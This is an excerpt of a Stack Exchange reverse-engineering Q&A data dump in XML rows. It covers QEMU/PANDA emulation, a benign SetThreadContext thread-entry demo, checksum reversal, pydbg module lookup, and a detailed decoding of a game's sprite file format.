system.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mice.cs.columbia.edu/getTechreport.php?techreportID=1588&amp;amp;disposition=inline&amp;amp;format=pdf&quot; rel=&quot;nofollow&quot;&gt;Repeatable Reverse Engineering for the Greater Good with PANDA&lt;/a&gt;: This is a more general look at using PANDA for reverse engineering, with three case studies: creating a keygen for Starcraft, diagnosing a use-after-free bug in Internet Explorer, and extracting the censorship blacklist used by the LINE IM client on Android.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;drawback&lt;/em&gt; of PANDA is that it does not, strictly speaking, use virtualization. Instead, it uses QEMU in TCG (i.e., emulation) mode. This makes it more detectable, since there are a number of bugs in QEMU's CPU emulation that are not present when using hardware virtualization. However, unless the program you're analyzing explicitly tries to detect QEMU, this is unlikely to be a problem.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2015-01-23T21:08:04.160" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8089" PostTypeId="2" ParentId="8086" CreationDate="2015-01-24T05:45:32.417" Score="4" Body="&lt;p&gt;Your intuition is correct. Changing the starting address of the Thread via &lt;code&gt;SetThreadContext&lt;/code&gt; will change the entry point. Here is a C++ snippet to verify our claims&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;WinNT.h&amp;gt;&#xA;&#xA;DWORD WINAPI orig_entry( LPVOID param)&#xA;{&#xA;    MessageBoxA(0, &quot;Original Thread Entrypoint called&quot;, &quot;&quot;, MB_OK);&#xA;    return 0;   &#xA;}&#xA;&#xA;DWORD WINAPI new_entry(LPVOID param)&#xA;{&#xA;    MessageBoxA(0, &quot;Modified Thread Entrypoint called&quot;, &quot;&quot;, MB_OK);&#xA;    return 0;   &#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    HANDLE tHand;&#xA;    CONTEXT ctx;&#xA;&#xA;    //Thread created with orig_entry as starting address&#xA;    tHand = CreateThread(NULL, 0, orig_entry, NULL, CREATE_SUSPENDED, NULL);&#xA;&#xA;    ctx.ContextFlags = CONTEXT_INTEGER; //We only want to get/set register eax&#xA;    GetThreadContext(tHand, &amp;amp;ctx);&#xA;&#xA;    //Entry point is stored in register eax (ctx + 0xB0)&#xA;    ctx.Eax = (DWORD) new_entry;    &#xA;    ctx.ContextFlags = CONTEXT_INTEGER;&#xA;&#xA;    //Comment the line below to see the difference&#xA;    SetThreadContext(tHand, &amp;amp;ctx);&#xA;&#xA;    ResumeThread(tHand);    &#xA;    Sleep(-1);  //Pause main thread permanently&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running the code, you will notice that function &lt;code&gt;new_entry&lt;/code&gt; is called, which justifies that the entry-point was changed by &lt;code&gt;SetThreadContext&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-01-24T05:45:32.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8090" PostTypeId="2" ParentId="3728" CreationDate="2015-01-24T13:24:30.913" Score="0" Body="&lt;p&gt;Take a look at &lt;a href=&quot;https://github.com/crmulliner/adbi&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; project. It patches Thumb and ARM instruction-set on the fly.&lt;/p&gt;&#xA;" OwnerUserId="9758" LastActivityDate="2015-01-24T13:24:30.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8091" PostTypeId="2" ParentId="42" CreationDate="2015-01-24T21:06:28.940" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/skylot/jadx&quot; rel=&quot;nofollow&quot;&gt;jadx&lt;/a&gt; has both CLI and GUI, and it's open source.&lt;/p&gt;&#xA;" OwnerUserId="8355" LastActivityDate="2015-01-24T21:06:28.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8092" PostTypeId="1" AcceptedAnswerId="9128" CreationDate="2015-01-25T14:42:28.083" Score="2" ViewCount="4332" Body="&lt;p&gt;Hopper offers a &lt;a href=&quot;http://www.hopperapp.com/HopperGDBServer/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;GDB/LLDB Debugger Server&lt;/a&gt; companion to the standard program. I'm unclear on what this should / can  be used for. When I run the debugger server on the same machine that I'm using I see this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ODJUT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There aren't really any options or built-in help. When I open &lt;code&gt;Hopper.app&lt;/code&gt;'s debugger panel I only see the program running locally. I was initially thinking that the Remote Debugger was maybe used to offload some of the processing to another computer, but I've also tried running Hopper Debugger Server on another mac on my LAN but I don't see it come up in the list, only my local machine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cCHgb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As there are no settings to specify remote connection information, I think I need to do something remotely that would specify a the address of the machine running Hopper so that it can sort of 'dial in' and then show up on the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't had any luck with the Hopper website, forum, FAQ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me a brief outline of how the GDB/LLDB remote debugger&lt;br&gt;&#xA;is intended to be used (with Hopper) ?&lt;/p&gt;&#xA;" OwnerUserId="11574" LastActivityDate="2015-06-13T21:24:05.920" Title="What does Hopper's Debugger Server do?" Tags="|debuggers|debugging|gdb|hopper|lldb|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8094" PostTypeId="2" ParentId="6647" CreationDate="2015-01-26T11:38:23.227" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;and I know a value 'X' will be calculated during execution&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This has multiple interpretations, which you have to deal with differently.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Value &lt;code&gt;X&lt;/code&gt; is calucated on the fly. The value is used as a parameter or modifier and will never be stored in memory.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For this interpretation you have to find the code where your value is actually calculated. The you can set a breakpoint, inspect the values of the register in question, and continue if the value is not found.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Value 'X' is calculated and stored in a fixed place in memory.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is the easy one. Just set a memory breakpoint on the address you know where the value must appear. Additionally you can inspect the value and only break if the value &lt;code&gt;X&lt;/code&gt; is actually set.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Value 'X' is calculated and stored with an object (object oriented language is used). &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In this case, the value may be stored in different adresses each time you run the code. However, you should still be able to identfy the code where the object is used, so you know the address of the object (or memoryblock). You can then reference this adress and inspect the value and continue if it is not reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly you do each of those techniques depends on the debugger you use. I'm using usually windbg and with conditional breakpoints you can do all of this. The harder part is to find out, where exactly your value is, because in modern computers you have 4GB+ of RAM or more, so there are MANY places where the same value can be found if you just look for a particular number without context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I once write a small tool for ding this though. I created a memory dump and and looked for all places, where my value was. Then I let the program continue and took another dump when the value changed. I compared only the addresses that I found before. Usually it took only 2-3 iterations to find the address. This method only works though, if the value is always at the same address and doesn't move with dynamic allocated memory.&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2015-01-26T11:38:23.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8095" PostTypeId="1" CreationDate="2015-01-26T13:11:00.380" Score="5" ViewCount="1553" Body="&lt;p&gt;I have downloaded a few different versions of the firmware from the TP-Link website. I've been piecing together details on how to achieve this but I'm missing some key points. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following instructions from devttys0 and their great blog, used binwalk to unpack the firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following some details picked up from this previous question [&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4480/emulate-tp-link-wr740n-with-qemu]&quot;&gt;Emulate TP-LINK WR740N with QEMU&lt;/a&gt; I've attempted to bot using the Malta debian kernel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I've had with the previous question was that there was never a final example of the arguments supplied to Qemu.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-system-mips -M malta -kernel '/media/sf__share/vmlinux-2.6.32-5-4kc-malta' -nographic -append &quot;init=/sbin/init root=/dev/sda console=ttyS0,115200&quot; -hda 'myFileSystem.img'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as well as (init=/bin/sh):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qemu-system-mips -M malta -kernel '/media/sf__share/vmlinux-2.6.32-5-4kc-malta' -nographic -append &quot;init=/bin/sh root=/dev/sda console=ttyS0,115200&quot; -hda 'myFileSystem.img'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In almost all cases I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: unable to open an initial console.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm happy to accept some pointers on what I might be missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My objective is to create an emulated MIPS Linux instance with the rootfs extracted from the firmware image. I then have further plans, but outside the scope of my initial issues.&lt;/p&gt;&#xA;" OwnerUserId="11580" LastActivityDate="2015-01-26T16:46:05.673" Title="Emulate TP-Link WR841N using Qemu" Tags="|mips|qemu|emulation|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8097" PostTypeId="1" AcceptedAnswerId="8109" CreationDate="2015-01-26T19:43:48.267" Score="1" ViewCount="290" Body="&lt;p&gt;I'm trying to reverse engineer a serial protocol of a compressor, but i've no luck calculation the checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. here are some messages including the 16-bit checksum at the end of the message.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;ff 02 ff 01 10 00 10 00 41 9e e2&#xA;ff 02 ff 01 10 00 10 00 42 9d e3&#xA;02 fe 03 00 00 00 00 00 00 fd c1&#xA;00 fe 02 83 01 10 00 00 00 00 6c c1&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By now i know following octets&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;00  target addr&#xA;fe  seems like a seperator&#xA;02  own addr&#xA;83  register addr&#xA;01  value1 high&#xA;10  value1 low&#xA;00  value2 high&#xA;00  value2 low&#xA;00  value3 high&#xA;00  value3 low&#xA;6c  Checksum&#xA;c1  Checksum&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried to calculate the Checksum with different 16-Bit CRC's and brute-forcing with &quot;reveng&quot;, but sadly i had no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is no way to put own Bits into the checksum function, but i can provide additional messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help?&lt;/p&gt;&#xA;" OwnerUserId="11582" LastActivityDate="2015-01-27T17:44:34.567" Title="Reversing Checksum of serial protocol" Tags="|deobfuscation|decryption|cryptanalysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8098" PostTypeId="1" AcceptedAnswerId="8103" CreationDate="2015-01-26T21:33:33.593" Score="0" ViewCount="799" Body="&lt;p&gt;Is there any quick/ faster way to find , any address resides in which loaded module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example from stack if I have ret address of any api. I want to check from which module actually that function was get called ??&lt;/p&gt;&#xA;" OwnerUserId="11562" LastActivityDate="2015-02-26T09:13:55.340" Title="Using PyDBG how to find in which loaded module callee functions is present" Tags="|debuggers|debugging|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8100" PostTypeId="1" CreationDate="2015-01-26T23:37:16.410" Score="2" ViewCount="447" Body="&lt;p&gt;Looking around for IR's used for reverse engineering, I find quite a few interesting ones. Assuming that I have a function that I'm trying to reverse engineer, I'm considering the following approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lift the assembly to an IR, run an optimisation pass on it and convert it back into assembly. How hard would it be to implement something like this? Are there any IRs that you'd recommend. I'm guessing that being able to lift the assembly code into an LLVM IR would be pretty useful and one could run the LLVM optimisation passes on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any suggestions on this?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="53" LastEditDate="2015-02-25T16:19:18.517" LastActivityDate="2015-02-25T16:19:18.517" Title="Running an optimization pass on an IR" Tags="|program-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8101" PostTypeId="2" ParentId="8100" CreationDate="2015-01-27T03:53:13.823" Score="2" Body="&lt;p&gt;You can try the &lt;em&gt;&lt;a href=&quot;https://github.com/cea-sec/miasm&quot; rel=&quot;nofollow&quot;&gt;Miasm framework&lt;/a&gt;&lt;/em&gt; which is written in python and has all the capabilities you require. Other than this you have &lt;em&gt;&lt;a href=&quot;http://metasm.cr0.org/&quot; rel=&quot;nofollow&quot;&gt;metasm&lt;/a&gt;&lt;/em&gt;, written in pure ruby with no dependencies. These frameworks implement their own IR which is different from LLVM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The book &lt;em&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1502489309&quot; rel=&quot;nofollow&quot;&gt;Practical Reverse Engineering&lt;/a&gt;&lt;/em&gt; has tutorials on the usage of the frameworks.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-01-27T03:53:13.823" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8102" PostTypeId="2" ParentId="8100" CreationDate="2015-01-27T06:14:06.740" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/trailofbits/mcsema&quot; rel=&quot;nofollow noreferrer&quot;&gt;mcsema&lt;/a&gt; ('MC-Semantics') translates x86 to LLVM IR so that all the LLVM IR tools can be applied for analysis. It came up in the related topic &lt;em&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6966/recompiling-optimizing-redundant-code-to-make-analysis-easier&quot;&gt;Recompiling/optimizing redundant code to make analysis easier&lt;/a&gt;&lt;/em&gt;, which also has pointers to further work/papers.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-01-27T06:14:06.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8103" PostTypeId="2" ParentId="8098" CreationDate="2015-01-27T08:30:12.773" Score="4" Body="&lt;pre&gt;&lt;code&gt;from pydbg import *&#xA;from pydbg.defines import *&#xA;&#xA;def handler_breakpoint (pydbg):   &#xA;   if pydbg.first_breakpoint:&#xA;    dbg.bp_set(dbg.func_resolve(&quot;user32&quot;,&quot;SendMessageW&quot;))&#xA;    return DBG_CONTINUE&#xA;   retaddr = dbg.get_arg(0,dbg.context)&#xA;   modname = dbg.addr_to_module(retaddr).szModule   &#xA;   print &quot;Calling Module and Return Address %25s\t%08x&quot; % (modname,retaddr)&#xA;   return DBG_CONTINUE&#xA;&#xA;dbg = pydbg()&#xA;dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)&#xA;dbg.load(&quot;c:\windows\system32\calc.exe&quot;)&#xA;pydbg.debug_event_loop(dbg)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Calling Module and Return Address              comctl32.dll     773f2883&#xA;Calling Module and Return Address              comctl32.dll     773f2883&#xA;Calling Module and Return Address                USER32.dll     7e4269ed&#xA;Calling Module and Return Address                USER32.dll     7e4269fa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-01-27T08:30:12.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8105" PostTypeId="1" AcceptedAnswerId="8112" CreationDate="2015-01-27T16:15:26.917" Score="7" ViewCount="2045" Body="&lt;p&gt;I'm trying to reverse engineer a file that contains sprites. I want to extract the sprites out of the file. So far I've managed to find some kind of line end sequence, and with this I've been able to confirm that the sprites are in the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JNEA4.png&quot; alt=&quot;monochrome dump of file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using C++ and SDL. I load the file as a series of chars, and then plot a white pixel if the char&gt;128 and a black if the char&amp;lt;128. It's very crude and I don't know how to proceed. How do I find where color is stored? Or an alpha channel? Or what is in the header? Etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know of any online resources that could be helpfull, please let me know. I'm kind of lost at where to start. These are first couple of bytes from the file I'm trying to reverse engineer, maybe this will help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TQdJl.png&quot; alt=&quot;hex dump of file&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game is State of War. Its my childhoods' dream to write a remake of this game. I'm currently making a remake, but I'm using placeholder graphics. Thats why I need the sprites. I will not use it for commercial purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 kinds of sprite files. *.tsp files, and a big sprites.data and sprites.info file. I've uploaded some files &lt;a href=&quot;http://www.filedropper.com/data_6&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11593" LastEditorUserId="53" LastEditDate="2015-02-25T16:18:49.627" LastActivityDate="2018-05-07T07:36:29.413" Title="Reverse engineering file containing sprites" Tags="|binary-format|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8109" PostTypeId="2" ParentId="8097" CreationDate="2015-01-27T17:17:03.483" Score="1" Body="&lt;p&gt;The first byte is a simple checksum variant.  In C:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uint8_t firstbyte( uint8_t const *data, size_t bytes )&#xA;{&#xA;    uint8_t sum;&#xA;    for (sum = 0; bytes; --bytes)&#xA;        sum -= *data++;&#xA;    return sum;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second byte is a shift and add thing something like the BSD checksum:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uint8_t secondbyte( uint8_t const *data, size_t bytes )&#xA;{&#xA;    uint8_t sum;&#xA;    for (sum = 0; bytes; --bytes) {&#xA;        sum = (sum &amp;lt;&amp;lt; 1) | ((sum &amp;amp; 0x80) ? 1 : 0);&#xA;        sum += *data++;&#xA;    }&#xA;    return sum;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="3557" LastEditDate="2015-01-27T17:44:34.567" LastActivityDate="2015-01-27T17:44:34.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8110" PostTypeId="2" ParentId="8105" CreationDate="2015-01-27T17:26:38.840" Score="3" Body="&lt;p&gt;If you really want to understand every byte of the file, then, as Jason pointed out, you'll have to get the program that reads it and reverse engineer that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this might be somewhere between hard and impossible, and very time-consuming as well. So the question is what you want to do. Extract a certain sprite from the file? Change the colors of some of the sprites? Translate the game to a different language? Possibly, you won't need to understand the whole file for your purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems you've already established the file seems uncompressed, and there seems to be one byte per pixel. Or is that two bytes? The hex dump contains a lot of 00's, so maybe these are 16-bit words where only the low bytes are used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole 'one byte per pixel' thing suggests a palette colortable. You might try to replace every single pixel (=hex value) of one of the sprites with the same value. Fire up the game, check the color of the sprite. Repeat with a different value. You might be able to work out which value corresponds to which color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image suggests the sprites have different widths. You could count the pixels (width and height) and search the hex dump for these counts. This might help you determining the structure of the headers in front of each sprite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the size (in bytes) of each sprite, you might check for these sizes in the hex dump, or in the header of the file. Or, the header may contain the number of sprites, and an array of starting positions in the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to sum it up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;write down whatever you know that can be represented in an integer. Search the file for these integers.&lt;/li&gt;&#xA;&lt;li&gt;When you think you know something about a byte in the file, think about what would happen if you change that byte to something else. Change that byte, fire up the original program, and check if its changed behaviour matches your assumption.&lt;/li&gt;&#xA;&lt;li&gt;Repeat as needed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another suggestion: When you post anything to here, include as much information as you can. For example, copyright permitting, post the whole sprite file, not an image of its hex dump - you can assume that if anyone is interested, they can download the file to a hex viewer themselves. If you have a partial source code, post a link to that source code. A lot about reverse engineering is experience, like &quot;i've seen something similar before - that time, it was XXX&quot;. Someone might just look at your source and remember something. Or, someone might have an idea and see the problem as a 'puzzle challenge'. Testing this idea is much easier if your current source code is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once, i had a similar problem with a file format, and google found a 7 year old forum post for me, from someone who had done a bit of research, posted his results, didn't get any further and lost interest. That helped me to get started, i contacted that guy, and together we finally got some results. So, even if noone can help you much now, you never know what's going to happen in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Of course, the chance of someone finding your post with google increases a lot if you post the name of the game ...)&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-01-27T17:26:38.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8112" PostTypeId="2" ParentId="8105" CreationDate="2015-01-28T09:52:42.760" Score="11" Body="&lt;p&gt;You got started well; plotting unknown data as pixels immediately showed you this is indeed graphic data, not compressed (at least the buttons aren't), and in a usable RGB order. I guess the missing RGB format was what held you back; now you know it, you can write a simple program to plot in color and show offsets and widths of the images. Armed with that information, you can inspect the unknown bytes before (and possibly after) the images, and derive their meaning.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;General overview&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The file &lt;code&gt;001_buttons.tsp&lt;/code&gt; consists of a series of images, without a general file header but with a header per image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first long word of this header (4 bytes, little endian format) is the size of the following data in bytes, excluding the header itself (this length may be &lt;code&gt;0&lt;/code&gt;). Then follow width and height as words. The next 12 bytes are 3 word-sized x,y pairs; the first pair is the center of the image. The coordinates are signed words, they wrap around at &lt;code&gt;0xFFFF/2&lt;/code&gt;. The other pairs still serve an unknown purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you have (height) times the offset of the next image scan line in &lt;em&gt;words&lt;/em&gt;, offset from the start by 4 (so 4+2*offset = next line).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each scan line pointed to by these offsets is Run-Length Encoded (RLE) compressed. Transparent runs are indicated only by the number of horizontal pixels to skip; opaque runs can be copied directly to the screen. There is no alpha transparency in these images. Each scan line fills exactly &lt;em&gt;width&lt;/em&gt; pixels after decompressing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pixel format is packed 16-bit RGB: &lt;code&gt;RRRR.RGGG.GGGB.BBBB&lt;/code&gt;, which can be converted to 24-bit RGB in the following (not optimized) way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;putpixel (x,y, (((val &amp;gt;&amp;gt; 8) &amp;amp; 0xf8)&amp;lt;&amp;lt;16) | (((val &amp;gt;&amp;gt; 3) &amp;amp; 0xfc)&amp;lt;&amp;lt;8) | ((val &amp;amp; 0x1f)&amp;lt;&amp;lt;3) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;val&lt;/code&gt; is simply the next word: &lt;code&gt;data[c]+(data[c+1]&amp;lt;&amp;lt;8)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x17Vf.png&quot; alt=&quot;sample dump&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Run-Length Encoding format&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ComX6.png&quot; alt=&quot;rle unpacked image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All values mentioned hereafter are &lt;em&gt;word&lt;/em&gt; sized (2 bytes, little endian).&lt;br&gt;&#xA;Each scan line starts with the &lt;em&gt;number of commands&lt;/em&gt; for that line and a flag indicating whether to start with a &quot;skip&quot; or &quot;copy&quot;. If the flag word after the number of commands is &lt;code&gt;0000&lt;/code&gt;, the line starts with a &quot;skip&quot;, and if it is &lt;code&gt;0001&lt;/code&gt;, the line starts with a &quot;copy&quot;.&lt;br&gt;&#xA;After that, &quot;skip&quot; and &quot;copy&quot; commands alternate until the entire scan line is filled. Each command is the number of pixels to skip or copy; for &quot;copy&quot;, the actual pixel values follow directly after it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All lines should be filled entirely -- if necessary, the command list ends with a number of 'empty' pixels to skip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bUS0Y.png&quot; alt=&quot;new game overlay&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Not all objects in &lt;code&gt;sprites.data&lt;/code&gt; &lt;em&gt;are&lt;/em&gt; sprites in this format. There are at least two different types:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A monochrome mask object, using the same RLE compression scheme but without pixel data -- it contains only the length of each run. This could be to draw a mask, overlay a color, or aid in pixel-perfect object selection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A list of signed word pairs of unknown use.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Neither these objects nor the actual sprites have a recognizable identifier at the start, so you can only find out which is which by trial and error (for example: if the reported 'size' of an image is negative or larger than the entire data file, you know it cannot be an RLE-compressed image after all).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Sprite index file&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The index file &lt;code&gt;sprite.info&lt;/code&gt; is obfuscated, but not by much. It has the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4 x some byte flag (all `01` in this file)&#xA;long  total number of objects (377, in this file)&#xA;377 x&#xA;      0-terminated &quot;filename&quot; (obfuscated)&#xA;      long offset in 'sprite.data'&#xA;      long length in 'sprite.data'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The filename is obfuscated by adding the constant &lt;code&gt;10&lt;/code&gt; to each character. Decoding this, you get a list of 377 items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__extras\compplay.ps6                | 00000000 000000C0&#xA;__extras\dim1.ps6                    | 000000C0 00000BC4&#xA;__extras\dim2.ps6                    | 00000C84 00000EB4&#xA;...&#xA;units\tur_05_blue.ps6                | 01FAC346 00013E12&#xA;units\tur_05_gren.ps6                | 01FC0158 00013E12&#xA;units\turrets_shadow.ps6             | 01FD3F6A 00013C9C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is some sort of general index, as clearly not all images are listed. It must list only the first of an animated set; the 'length' is then the total length of all files in that particular set. The file extensions are a hint to their contents: files ending with &lt;code&gt;.ps6&lt;/code&gt; all contain at least one image (and may contain more), files ending with &lt;code&gt;.msk&lt;/code&gt; are probably a monochrome mask and &lt;code&gt;.sha&lt;/code&gt; possibly shadows. The &lt;code&gt;.po&lt;em&gt;digit&lt;/em&gt;&lt;/code&gt; files contain coordinate pairs.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="11593" LastEditDate="2015-01-30T11:47:03.277" LastActivityDate="2015-01-30T11:47:03.277" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
